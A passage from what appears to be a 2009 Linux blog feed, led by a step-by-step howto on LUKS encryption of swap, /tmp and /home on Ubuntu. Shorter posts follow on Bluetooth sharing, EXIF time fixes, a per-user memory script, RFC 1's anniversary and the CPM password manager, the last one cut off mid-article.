<content type="html">&lt;p&gt;I really would like to have an encrypted swap, tmp and home partition on my laptop. In case it gets stolen or if I should forget it somewhere, I can be sure that no-one would be able to read my private files. In this mini-howto I set my home partition using LVM, but using a regular partition should work just fine. This howto should also work, with minor modification, if you use another distribution than Ubuntu.

&lt;p&gt;
&lt;strong&gt;Updated:&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;May 2009: Updated for Ubuntu 9.04. Added encrypted /tmp.&lt;/em&gt;&lt;br&gt;
&lt;em&gt;May 2008: Init for Ubuntu 8.04.&lt;/em&gt;
&lt;p&gt;&lt;strong&gt;Note! Both the &quot;server&quot; and &quot;alternate&quot; Ubuntu ISO-images provide the option to encrypt your home directory (but in a different way using &lt;a href=&quot;https://launchpad.net/ecryptfs&quot;&gt;eCryptfs&lt;/a&gt;. Swap and /tmp are not encrypted). It might be an easier solution if you find this page too hard to follow. The difference? They are two different implementations. eCryptfs is file level encryption, LUKS is block device (/dev/sda3). Think of it like SSL vs. IPSec. Both have their advantages and drawbacks. Read more &lt;a href=&quot;http://ecryptfs.sourceforge.net/ecryptfs-faq.html#compare&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://www.mayrhofer.eu.org/Default.aspx?pageid=26&quot;&gt;here&lt;/a&gt;&lt;/strong&gt;

&lt;p&gt;By using &lt;em&gt;Linux Unified Key Setup&lt;/em&gt; (LUKS) setting up encrypted partition in Linux is done in no time.

&lt;p&gt;&lt;font size=&quot;+1&quot;&gt;&lt;strong&gt;Prerequisites&lt;/strong&gt;&lt;/font&gt;
&lt;p&gt;Install required packages:&lt;/strong&gt;
&lt;pre&gt;
# &lt;strong&gt;apt-get install lvm2 cryptsetup libpam-mount&lt;/strong&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;The device-mapper should be active (if not, reboot):
&lt;pre&gt;
&amp;#36; &lt;strong&gt;ls -l /dev/mapper/&lt;/strong&gt;&lt;br&gt;
total 0&lt;br&gt;
crw-rw---- 1 root root  10, 61 2009-05-19 15:39 control&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;..with support for crypto:
&lt;pre&gt;
# &lt;strong&gt;dmsetup targets | grep crypt&lt;/strong&gt;&lt;br&gt;
crypt            v1.6.0&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;Good. Now we're ready.

&lt;p&gt;&lt;font size=&quot;+1&quot;&gt;&lt;strong&gt;Part I: Setting up encrypted swap&lt;/strong&gt;&lt;/font&gt;

&lt;p&gt;&lt;strong&gt;Step 1: Disable your current swap partition.&lt;/strong&gt;
&lt;pre&gt;
 # &lt;strong&gt;swapoff /dev/sda2&lt;/strong&gt;
&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;Step 2: Fill your swap with random data.&lt;/strong&gt;
&lt;pre&gt;
# &lt;strong&gt;dd if=/dev/urandom of=/dev/sda2 bs=1M&lt;/strong&gt;&lt;br&gt;
1954+0 records in&lt;br&gt;
1953+0 records out&lt;br&gt;
2048094208 bytes (2.0 GB) copied, 529.177 s, 3.9 MB/s&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;As you see, this might take some time depending on your swap size. So go grab a coffe.

&lt;p&gt;&lt;strong&gt;Step 3: Configure encrypted swap.&lt;/strong&gt;

&lt;p&gt;Add this to your &lt;code&gt;/etc/crypttab&lt;/code&gt;
&lt;pre&gt;
# &lt;strong&gt;cat /etc/crypttab&lt;/strong&gt;&lt;br&gt;
...&lt;br&gt;
cryptoswap /dev/sda2 /dev/urandom cipher=aes-cbc-essiv:sha256,size=256,hash=sha256,swap&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;Why &lt;code&gt;/dev/urandom&lt;/code&gt; and not &lt;code&gt;/dev/random&lt;/code&gt;? The latter blocks until it got enough entropy to continue, &lt;code&gt;urandom&lt;/code&gt; don't. So if you use &lt;code&gt;random&lt;/code&gt; instead &lt;code&gt;urandom&lt;/code&gt; you might have to wait during boot until enough entropy is collected. (It does help to type your keyboard and move the mouse.) Use &lt;code&gt;/dev/random&lt;/code&gt; if you're &lt;em&gt;really&lt;/em&gt; paranoid. 

&lt;p&gt;Next, change your swap entry in &lt;code&gt;/etc/fstab&lt;/code&gt; to this:
&lt;pre&gt;
# &lt;strong&gt;cat /etc/fstab&lt;/strong&gt;&lt;br&gt;
...&lt;br&gt;
/dev/mapper/cryptoswap swap swap sw 0 0&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;For every time we boot, swap will be encrypted with a different encryption key.

&lt;p&gt;&lt;strong&gt;Step 4: Test it.&lt;/strong&gt;
&lt;p&gt;Reboot to test. 

&lt;p&gt;We now have an encrypted swap:
&lt;pre&gt;
# &lt;strong&gt;cat /proc/swaps&lt;/strong&gt;&lt;br&gt;
Filename				Type		Size	Used	Priority&lt;br&gt;
/dev/mapper/cryptoswap                  partition	2000084	0	-1&lt;br&gt;
&lt;br&gt;
# &lt;strong&gt;cryptsetup status cryptoswap&lt;/strong&gt;&lt;br&gt;
/dev/mapper/cryptoswap is active:&lt;br&gt;
  cipher:  aes-cbc-essiv:sha256&lt;br&gt;
  keysize: 256 bits&lt;br&gt;
  device:  /dev/sda2&lt;br&gt;
  offset:  0 sectors&lt;br&gt;
  size:    4000185 sectors&lt;br&gt;
  mode:    read/write&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;Good. Now we're safe right?
 
&lt;p&gt;&lt;font size=&quot;+1&quot;&gt;&lt;strong&gt;Part II: Dealing with /tmp&lt;/strong&gt;&lt;/font&gt;

&lt;p&gt;To protect &lt;code&gt;/tmp&lt;/code&gt;, we have two choices. 1) we can encrypt it like we did with swap or 2) we can create a ramdisk. The content of a ramdisk don't survive a reboot and &lt;code&gt;/tmp&lt;/code&gt; rarely is used for any big files, its is also a good option. But, paranoid as we are, we choose option 1)

&lt;p&gt;The setup is almost identical as for swap:

&lt;p&gt;&lt;strong&gt;Step 1: Setting up a tmp partition using LVM.&lt;/strong&gt;

&lt;p&gt;If you use a regular partition, you can easily skip this step.
&lt;pre&gt;
# &lt;strong&gt;pvcreate /dev/sda3&lt;/strong&gt;&lt;br&gt;
  Physical volume &quot;/dev/sda3&quot; successfully created&lt;br&gt;
# &lt;strong&gt;vgcreate vg_storage /dev/sda3&lt;/strong&gt;&lt;br&gt;
  Volume group &quot;vg_storage&quot; successfully created&lt;br&gt;
# &lt;strong&gt;vgchange -a y vg_storage&lt;/strong&gt;&lt;br&gt;
  0 logical volume(s) in volume group &quot;vg_storage&quot; now active&lt;br&gt;
# &lt;strong&gt;lvcreate -L500M -nlv_tmp vg_storage&lt;/strong&gt;&lt;br&gt;
  Logical volume &quot;lv_tmp&quot; created&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;For more details on how to use LVM, please check out the excellent &lt;a href=&quot;http://tldp.org/HOWTO/LVM-HOWTO/&quot;&gt;LVM HOWTO&lt;/a&gt;.

&lt;p&gt;&lt;strong&gt;Step 2: Fill the partition with random data.&lt;/strong&gt;
&lt;pre&gt;
# &lt;strong&gt;dd if=/dev/urandom of=/dev/vg_storage/lv_tmp&lt;/strong&gt;&lt;br&gt;
1024001+0 records in&lt;br&gt;
1024000+0 records out&lt;br&gt;
524288000 bytes (524 MB) copied, 139.983 s, 3.7 MB/s&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;

&lt;p&gt;&lt;strong&gt;Step 3: Add entry in /etc/crypttab&lt;/strong&gt;
&lt;pre&gt;
# &lt;strong&gt;cat /etc/crypttab&lt;/strong&gt;&lt;br&gt;
...&lt;br&gt;
cryptotmp /dev/vg_storage/lv_tmp /dev/random cipher=aes-cbc-essiv:sha256,size=256,hash=sha256,tmp
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;Now, since &lt;code&gt;/tmp&lt;/code&gt; is encrypted with a new key every time, the filsystem must be created every time as well. The option &quot;tmp&quot; fixes that for us and calls mkfs before mount. Since it is created with filesystem ext2, we add in fstab:
&lt;p&gt;
&lt;pre&gt;
# &lt;strong&gt;cat /etc/fstab&lt;/strong&gt;&lt;br&gt;
...&lt;br&gt;
/dev/mapper/cryptotmp /tmp ext2 defaults 0 0&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;Step 4: Test it.&lt;/strong&gt;
&lt;p&gt;Reboot to test.
&lt;p&gt;We now have an encrypted &lt;code&gt;/tmp&lt;/code&gt; partition as well. Great! 
&lt;pre&gt;
# &lt;strong&gt;cryptsetup status cryptotmp&lt;/strong&gt;&lt;br&gt;
/dev/mapper/cryptotmp is active:&lt;br&gt;
  cipher:  aes-cbc-essiv:sha256&lt;br&gt;
  keysize: 256 bits&lt;br&gt;
  device:  /dev/mapper/vg_storage-lv_tmp&lt;br&gt;
  offset:  0 sectors&lt;br&gt;
  size:    1024000 sectors&lt;br&gt;
  mode:    read/write&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;

&lt;p&gt;&lt;font size=&quot;+1&quot;&gt;&lt;strong&gt;Part III: Creating and setting up an encrypted home partition&lt;/strong&gt;&lt;/font&gt;

&lt;p&gt;&lt;strong&gt;Step 1: Setting up a home partition using LVM.&lt;/strong&gt;

&lt;p&gt;If you use a regular partition, you can easily skip this step.
&lt;pre&gt;
# &lt;strong&gt;lvcreate -L20G -nlv_home vg_storage&lt;/strong&gt;&lt;br&gt;
  Logical volume &quot;lv_home&quot; created&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;

&lt;p&gt;&lt;strong&gt;Step 2: Fill your soon-to-be home partition with random data.&lt;/strong&gt;
&lt;pre&gt;
 # &lt;strong&gt;dd if=/dev/urandom of=/dev/vg_storage/lv_home&lt;/strong&gt;&lt;br&gt;
20481+0 records in&lt;br&gt;
20480+0 records out&lt;br&gt;
21474836480 bytes (21 GB) copied, 5554.23 s, 3.9 MB/s&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;This will take even longer than the swap partition. So go for lunch or something.

&lt;p&gt;&lt;strong&gt;Step 3: Initialize the partition and set initial key.&lt;/strong&gt;

&lt;p&gt;Remember, if you use a weak password, your screwed. If you forget the password, its game over.

&lt;pre&gt;
# &lt;strong&gt;cryptsetup -c aes-cbc-essiv:sha256 -y -s 256 luksFormat /dev/vg_storage/lv_home&lt;/strong&gt;&lt;br&gt;
&lt;br&gt;
WARNING!&lt;br&gt;
========&lt;br&gt;
This will overwrite data on /dev/vg_storage/lv_home irrevocably.&lt;br&gt;
&lt;br&gt;
Are you sure? (Type uppercase yes): &lt;strong&gt;YES&lt;/strong&gt;&lt;br&gt;
Enter LUKS passphrase: &lt;br&gt;
Verify passphrase: &lt;br&gt;
Command successful.&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;We use cipher &quot;aes-cbc-essi&quot;, since the default is vulnerable to &lt;a href=&quot;http://en.wikipedia.org/wiki/Watermarking_attack&quot;&gt;Watermarking attack&lt;/a&gt;.

&lt;p&gt;&lt;strong&gt;Step 4: Create a device mapping.&lt;/strong&gt;
&lt;pre&gt;
# &lt;strong&gt;cryptsetup luksOpen /dev/vg_storage/lv_home cryptohome&lt;/strong&gt;&lt;br&gt;
Enter LUKS passphrase: &lt;br&gt;
key slot 0 unlocked.&lt;br&gt;
Command successful.&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;This will create a device mapping, as can bee see under:
&lt;pre&gt;
&amp;#36; &lt;strong&gt;ls -l /dev/mapper/&lt;/strong&gt;&lt;br&gt;
total 0&lt;br&gt;
crw-rw---- 1 root root  10, 61 2009-05-19 15:39 control&lt;br&gt;
brw-rw---- 1 root disk 252,  4 2009-05-19 15:52 cryptohome&lt;br&gt;
brw-rw---- 1 root disk 252,  1 2009-05-19 15:39 cryptoswap&lt;br&gt;
brw-rw---- 1 root disk 252,  2 2009-05-19 15:39 cryptotmp&lt;br&gt;
brw-rw---- 1 root disk 252,  3 2009-05-19 15:52 vg_storage-lv_home&lt;br&gt;
brw-rw---- 1 root disk 252,  0 2009-05-19 15:39 vg_storage-lv_tmp&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;Note that LVM also uses the device-mapper (that is why LVM volumes also are listed).

&lt;p&gt;Or, you can use the command &lt;code&gt;dmsetup ls&lt;/code&gt; to list the mapped devices:
&lt;pre&gt;
&amp;#36; &lt;strong&gt;dmsetup ls&lt;/strong&gt;&lt;br&gt;
cryptoswap	(252, 1)&lt;br&gt;
vg_storage-lv_tmp	(252, 0)&lt;br&gt;
cryptotmp	(252, 2)&lt;br&gt;
vg_storage-lv_home	(252, 3)&lt;br&gt;
cryptohome	(252, 4)&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;Step 5: Create a filesystem.&lt;/strong&gt;
&lt;p&gt;We now have an encrypted partition. To use it, we need to create a filesystem on it:
&lt;pre&gt;
# &lt;strong&gt;mkfs.ext4 -j -m 1 -O dir_index,filetype,sparse_super /dev/mapper/cryptohome&lt;/strong&gt;&lt;br&gt;
mke2fs 1.41.4 (27-Jan-2009)&lt;br&gt;
Filesystem label=&lt;br&gt;
OS type: Linux&lt;br&gt;
Block size=4096 (log=2)&lt;br&gt;
Fragment size=4096 (log=2)&lt;br&gt;
1310720 inodes, 5242623 blocks&lt;br&gt;
52426 blocks (1.00%) reserved for the super user&lt;br&gt;
First data block=0&lt;br&gt;
Maximum filesystem blocks=0&lt;br&gt;
160 block groups&lt;br&gt;
32768 blocks per group, 32768 fragments per group&lt;br&gt;
8192 inodes per group&lt;br&gt;
Superblock backups stored on blocks: &lt;br&gt;
	32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208,&lt;br&gt;
	4096000&lt;br&gt;
&lt;br&gt;
Writing inode tables: done&lt;br&gt;
Creating journal (32768 blocks): done&lt;br&gt;
Writing superblocks and filesystem accounting information: done&lt;br&gt;
&lt;br&gt;
This filesystem will be automatically checked every 28 mounts or&lt;br&gt;
180 days, whichever comes first.  Use tune2fs -c or -i to override.&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;&lt;strong&gt;Step 6: Testing!&lt;/strong&gt;
&lt;p&gt;We start by closing and reopen the encrypted partition before we mount it:
&lt;pre&gt;
# &lt;strong&gt;cryptsetup luksClose cryptohome&lt;/strong&gt;&lt;br&gt;
# &lt;strong&gt;cryptsetup luksOpen /dev/vg_storage/lv_home cryptohome&lt;/strong&gt;&lt;br&gt;
Enter LUKS passphrase: &lt;br&gt;
key slot 0 unlocked.&lt;br&gt;
Command successful.&lt;br&gt;
# &lt;strong&gt;mkdir -p /mnt/cryptohome&lt;/strong&gt;&lt;br&gt;
# &lt;strong&gt;mount /dev/mapper/cryptohome /mnt/cryptohome&lt;/strong&gt;&lt;br&gt;
# &lt;strong&gt;touch /mnt/cryptohome/testfile&lt;/strong&gt;&lt;br&gt;
# &lt;strong&gt;ls /mnt/cryptohome/&lt;/strong&gt;&lt;br&gt;
lost+found   testfile&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;We can also confirm that it works by issuing the command:
&lt;pre&gt;
# &lt;strong&gt;cryptsetup status cryptohome&lt;/strong&gt;&lt;br&gt;
/dev/mapper/cryptohome is active:&lt;br&gt;
  cipher:  aes-cbc-essiv:sha256&lt;br&gt;
  keysize: 256 bits&lt;br&gt;
  device:  /dev/mapper/vg_storage-lv_home&lt;br&gt;
  offset:  2056 sectors&lt;br&gt;
  size:    41940984 sectors&lt;br&gt;
  mode:    read/write&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;Now would be a good time to move your current home to this partition. 

&lt;p&gt;Finally we umount:
&lt;pre&gt;
 # &lt;strong&gt;umount /mnt/cryptohome&lt;/strong&gt;&lt;br&gt;
 # &lt;strong&gt;cryptsetup luksClose cryptohome&lt;/strong&gt;&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;&lt;strong&gt;Step 7: Cryptohome mounted at boot or at login?&lt;/strong&gt;

&lt;p&gt;Now you have to take a choice. You can enable the partition at boot time, but then the boot sequence is interrupted asking you for the LUKS password. If you want the partition automatically mounted when you login, skip to the next section.

&lt;p&gt;Instead of manually typing in password, you can have the key stored externally - for instance on a usb-stick. Read more about that &lt;a href=&quot;http://wiki.archlinux.org/index.php/LUKS_Encrypted_Root#Storing_the_key_externally_.28USB_stick.29&quot;&gt;here&lt;/a&gt;.

&lt;p&gt;You want to enable mounting at boot time? Then update &lt;code&gt;/etc/crypttab&lt;/code&gt;:

&lt;pre&gt;
# &lt;strong&gt;cat /etc/crypttab&lt;/strong&gt;&lt;br&gt;
...&lt;br&gt;
cryptohome /dev/vg_storage/lv_home none luks&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;And /etc/fstab:
&lt;pre&gt;
# &lt;strong&gt;cat /etc/fstab&lt;/strong&gt;&lt;br&gt;
...&lt;br&gt;
/dev/mapper/cryptohome	/home/ ext4 relatime,errors=remount-ro 0 2&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;When you now reboot, the boot process is interrupted asking you for the LUKS password. If you type it correctly, the home partition is mounted. When you now log in, you will have an encrypted home partition ready waiting for you. 

&lt;p&gt;&lt;font size=&quot;+1&quot;&gt;&lt;strong&gt;Part IV: Automatically mount when logging in.&lt;/strong&gt;&lt;/font&gt;

&lt;p&gt;A more elegant solution would be to automatically mount the home partition the same time you log in. This require that you use &lt;em&gt;the same password&lt;/em&gt; for login as for the encrypted partition. (Actually that is not entirely true. You &lt;em&gt;may&lt;/em&gt; have the password stored on file somewhere. But in this howto, we assume you have the same password for both.)

&lt;p&gt;&lt;strong&gt;Step 1: Remove home partition from /etc/fstab&lt;/strong&gt;

&lt;p&gt;If there is an entry to your (encrypted) home partition in /etc/fstab, remove it

&lt;pre&gt;
# &lt;strong&gt;cat /etc/fstab&lt;/strong&gt;&lt;br&gt;
...&lt;br&gt;
/dev/mapper/cryptohome	/home ext4 relatime,errors=remount-ro 0 2 # this gotta go&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;

&lt;p&gt;&lt;strong&gt;Step 2: Update /etc/crypttab&lt;/strong&gt;

&lt;p&gt;Make sure the you have a line in &lt;code&gt;/etc/crypttab&lt;/code&gt; that reads as follows:
&lt;pre&gt;
# &lt;strong&gt;cat /etc/crypttab&lt;/strong&gt;&lt;br&gt;
...&lt;br&gt;
cryptohome /dev/vg_storage/lv_home noauto luks&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;

&lt;p&gt;&lt;strong&gt;Step 3: Configure pam_mount&lt;/strong&gt;

&lt;p&gt;Add the following entry in &lt;code&gt;/etc/security/pam_mount.conf.xml&lt;/code&gt;. This file is heavily commented, and it may be useful to read the comments.

&lt;pre&gt;
# &lt;strong&gt;cat /etc/security/pam_mount.conf.xml&lt;/strong&gt;&lt;br&gt;
...&lt;br&gt;
&amp;lt;volume user=&quot;lars&quot; fstype=&quot;crypt&quot; path=&quot;/dev/vg_storage/lv_home&quot; mountpoint=&quot;/home&quot; /&amp;gt;&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Configure PAM&lt;/strong&gt;

&lt;p&gt;No longer necessary. As of 9.04 all options already included.

&lt;p&gt;&lt;strong&gt;Step 5: Test!&lt;/strong&gt;

&lt;p&gt;Log out and back in. You should now have an encrypted home:
&lt;pre&gt;
&amp;#36; &lt;strong&gt;df -h&lt;/strong&gt;&lt;br&gt;
...&lt;br&gt;
/dev/mapper/_dev_mapper_vg_storage-lv_home&lt;br&gt;
                       20G  296M   20G   2% /home&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;Congratulation, you now have an encrypted swap, tmp and home partition!
&lt;p&gt;A final advice: Take &lt;em&gt;regular&lt;/em&gt; backups.

&lt;p&gt;&lt;strong&gt;Useful links:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&quot;dm-crypt: a device-mapper crypto target&quot;: &lt;a href=&quot;http://www.saout.de/misc/dm-crypt/&quot;&gt;http://www.saout.de/misc/dm-crypt/&lt;/a&gt;
&lt;li&gt;&quot;dm-crypt HOWTO for Debian unstable and testing&quot;: &lt;a href=&quot;http://www.saout.de/tikiwiki/tiki-index.php?page=HOWTO&quot;&gt;http://www.saout.de/tikiwiki/tiki-index.php?page=HOWTO&lt;/a&gt;
&lt;/ul&gt;</content>
</entry>
<entry>
<title type="html">Sharing Internet connection over bluetooth in Ubuntu</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=Sharing-Internet-over-bluetooth-ubuntu"/>
<id>tag:blog.larsstrand.org,2009-04-23:/article.php?story=Sharing-Internet-over-bluetooth-ubuntu</id>
<published>2009-04-23T05:36:33+02:00</published>
<updated>2009-04-23T05:36:33+02:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">Me and my girlfriend are staying in a hotel here in Sha Tin, Hong Kong. Since the hotel only allow one computer per room connected to the Internet at the time - I found out it would be a nice time to look into Internet connection sharing over bluetooth.
There is &lt;a href=&quot;http://forums.fedoraforum.org/archive/index.php/t-2882.html&quot;&gt;some&lt;/a&gt; &lt;a href=&quot;http://www.howtoforge.com/bluetooth_pand_debian_etch&quot;&gt;documentation&lt;/a&gt; on how to set up &lt;a href=&quot;http://en.wikipedia.org/wiki/Personal_area_network&quot;&gt;PAN&lt;/a&gt; in Linux, so the prosess should be pretty straightforward. One posting I found mention some software called &lt;a href=&quot;http://blueman-project.org/&quot;&gt;&quot;Blueman&quot;&lt;/a&gt;. Turns out Blueman can do all the work for me with the click of a button.

&lt;p&gt;It's even in &lt;a href=&quot;https://launchpad.net/blueman&quot;&gt;Launchpad&lt;/a&gt;, so I can install it using apt. I start the applet, go into &quot;Local Services&quot;, enable NAP, and.. it just works! This is getting too easy!
&lt;p&gt;
&lt;img width=&quot;530&quot; height=&quot;449&quot; src=&quot;http://blog.larsstrand.org/images/articles/Sharing-Internet-over-bluetooth-ubuntu_1_original.jpg&quot; alt=&quot;&quot;&gt;</content>
</entry>
<entry>
<title type="html">Mass EXIF date and time manipulation</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=Mass-EXIF-date-manipulation"/>
<id>tag:blog.larsstrand.org,2009-04-23:/article.php?story=Mass-EXIF-date-manipulation</id>
<published>2009-04-23T05:04:00+02:00</published>
<updated>2009-04-23T05:04:00+02:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">I'm out traveling and I forgot to change the timezone on my camera &lt;em&gt;again&lt;/em&gt;. So the &lt;a href=&quot;http://en.wikipedia.org/wiki/Exchangeable_image_file_format&quot;&gt;EXIF&lt;/a&gt; time stored in the pictures are all wrong. My first though was to write another &lt;a href=&quot;http://blog.gnist.org/article.php?story=exifdatesort&quot;&gt;Perl script&lt;/a&gt; to fix this. But I found out that the program &lt;code&gt;jhead&lt;/code&gt; can do all sort of magic EXIF manipulation. 
To mass change EXIF dates, just do a:
&lt;p&gt;
&lt;pre&gt;
&amp;#36; &lt;strong&gt; jhead -ta+7:00 *.JPG&lt;/strong&gt;&lt;br&gt;
Modified: IMG_1708.JPG&lt;br&gt;
Modified: IMG_1709.JPG&lt;br&gt;
Modified: IMG_1710.JPG&lt;br&gt;
....&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
This add seven hours to the EXIF stored time. Nice and easy.</content>
</entry>
<entry>
<title type="html">Memory usage by user</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=Memory-usage-by-user"/>
<id>tag:blog.larsstrand.org,2009-04-08:/article.php?story=Memory-usage-by-user</id>
<published>2009-04-08T00:54:00+02:00</published>
<updated>2009-04-08T00:54:00+02:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">A short little script I stumbled across when cleaning my &amp;#36;HOME. I do not think I wrote it myself - at least I can't recall that I did. Quite handy and it's small and compact using the commands &lt;strong&gt;ps&lt;/strong&gt;, &lt;strong&gt;awk&lt;/strong&gt;, &lt;strong&gt;sort&lt;/strong&gt; and &lt;strong&gt;head&lt;/strong&gt;:&lt;p&gt;
&lt;pre&gt;
ps aux --no-headers | awk '&lt;br&gt;
        {&lt;br&gt; 
                name[&amp;#36;1] += &amp;#36;1; &lt;br&gt;
                pros[&amp;#36;1] += &amp;#36;4;&lt;br&gt;
                mem[&amp;#36;1] += &amp;#36;5 &lt;br&gt;
        }&lt;br&gt;
        END { &lt;br&gt;
                for (var in name)  { &lt;br&gt;
                        print mem[var]&quot; &quot;var&quot; &quot;pros[var] &lt;br&gt;
                }&lt;br&gt;
        }' | sort -nr | head&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;The result is a top ten list of the users that consume the most memory:
&lt;p&gt;
&lt;pre&gt;
741012 root 9.3&lt;br&gt;
238152 bjorn 3.8&lt;br&gt;
119380 thomasez 1.2&lt;br&gt;
105332 krav 1.9&lt;br&gt;
100804 lars 0.6&lt;br&gt;
95916 ingvar 1.6&lt;br&gt;
89720 kjetilho 1.5&lt;br&gt;
78044 jo 1&lt;br&gt;
74232 espen 0.8&lt;br&gt;
73460 michael 0.4&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;There I am - at number five...</content>
</entry>
<entry>
<title type="html">First RFC 40 years old</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=RFC1-40years-old"/>
<id>tag:blog.larsstrand.org,2009-04-07:/article.php?story=RFC1-40years-old</id>
<published>2009-04-07T23:45:00+02:00</published>
<updated>2009-04-07T23:45:00+02:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">The first request for comments (&lt;a href=&quot;http://tools.ietf.org/rfc/rfc1.txt&quot;&gt;RFC 1&lt;/a&gt;) was published 40 years ago today (7. April 2009). RFCs are standard documents published by the &lt;a href=&quot;http://www.ietf.org/&quot;&gt;Internet Engineering Task Force&lt;/a&gt; (IETF). Today over 5000 RFCs have been published by IETF. Stephen Crocker, the author of RFC1, recollect some thoughts of the early days:
&lt;p&gt;

&lt;a href=&quot;http://www.nytimes.com/2009/04/07/opinion/07crocker.html&quot;&gt;http://www.nytimes.com/2009/04/07/opinion/07crocker.html&lt;/a&gt;</content>
</entry>
<entry>
<title type="html">Secure password management using CPM</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=Console-Password-Management"/>
<id>tag:blog.larsstrand.org,2009-02-01:/article.php?story=Console-Password-Management</id>
<published>2009-02-01T08:00:00+01:00</published>
<updated>2009-02-01T08:00:00+01:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">There are numerous articles on the importance of creating strong secure passwords that are hard to guess and break. However, the harder the password, the harder it is to memorize. Another problem arises when we have several different passwords, usually one for each device or service. How can we store and manage the increasing number of passwords? &lt;a href=&quot;http://www.harry-b.de/dokuwiki/doku.php?id=harry:cpm&quot;&gt;Console Password Management (CPM)&lt;/a&gt;, created by Harry Brueckner, does a great job for exactly that.
&lt;p&gt;I worked as a system administrator for a medium sized Norwegian company. Our department was administering a large number of network devices and Unix/Linux servers. The company had two international offices each with different network security zones. This complex network topology combined with a severe strict password policy, made it impossible to memorize all different passwords.

&lt;p&gt;We solved this by equipping each administrator with their own Palm with an approved secure password application. These Palms had to be manually fed, which meant in practice that they never were in sync. The authoritative password &quot;database&quot; was a green folder with sheets upon sheets of paper combined with post-it notes scribbled all over. In other words, it was a mess. The only up-turn was that this folder was stored in a huge fire-proof safe.

&lt;p&gt;We decided to clean this up. First, we wanted an online central password database, stored as secure as possible, and running on Linux. I found dozens upon dozens of password applications. However, most of these could be placed in one of two categories (and in some cases both): 

&lt;ol&gt;
&lt;li&gt;The application is designed for one user. Many of these applications are pretty usable, some even with a nice graphical user interface. A familiar example; both Firefox and Thunderbird allow you to save username and passwords. When enabling the Master password,  you should, these passwords are encrypted on disk. However, these passwords are only available to the user of the application. The desktop managers GNOME and KDE both have the ability to save passwords securely.

&lt;li&gt;The application is fundamentally flawed. For example, the application allows core dumps or being swapped to disk. One password application I found even stored the passwords in clear(!) text in a SQL database. Really dumb.
&lt;/ol&gt;

&lt;p&gt;Fortnunately, there was one application that caught my eye. It did not fit any of these conditions above. 

&lt;p&gt;&lt;strong&gt;Console Password Management&lt;/strong&gt;

&lt;p&gt;CPM is one of those rare applications that have done many things right when it comes to secure passwords storage. At startup it checks

&lt;ul&gt;
&lt;li&gt; whether core dumps are disabled,
&lt;li&gt; whether memory is locked from paging,
&lt;li&gt; whether the application is protected from ptrace spying,
&lt;li&gt; whether the application has environment checks enabled, and
&lt;li&gt; whether it's running without root privileges.
&lt;/ul&gt;

&lt;p&gt;The database of CPM is just a XML file, compressed with zlib (gzip), and encrypted with GPG. CPM is command line based, which I consider an advantage. That way I can access it through a login window or a terminal. Most of the work of a network or Linux administrator is in a shell anyway. Also, should I be stuck down in the server room and need that password, all I need to do is log in to the correct server and access CPM. Handy.

&lt;p&gt;&lt;strong&gt;Installation&lt;/strong&gt;

&lt;p&gt;Installing CPM from source can be a little hassle unless you are familiar with compiling your own software. On Debian, you can just add CPM's apt source and install it using Debian's own package manager. You'll find instructions on CPM's homepage. Unfortunately, I did not find updated packages for Fedora/Red Hat Enterprise. I know that the developer is busy updating CPM and that a static binary is high on his priority list. A static binary would ease the installation tremendously. 

&lt;p&gt;Note that CPM is installed SUID root (mode 4755), meaning that CPM will be executed with root privileges regardless whether root  executes the application or the user. This is necessary to enable memory locking and protection from strace/ptrace attacks. The root privilege is dropped right after memory locking.

&lt;p&gt;&lt;strong&gt;GnuPG&lt;/strong&gt;

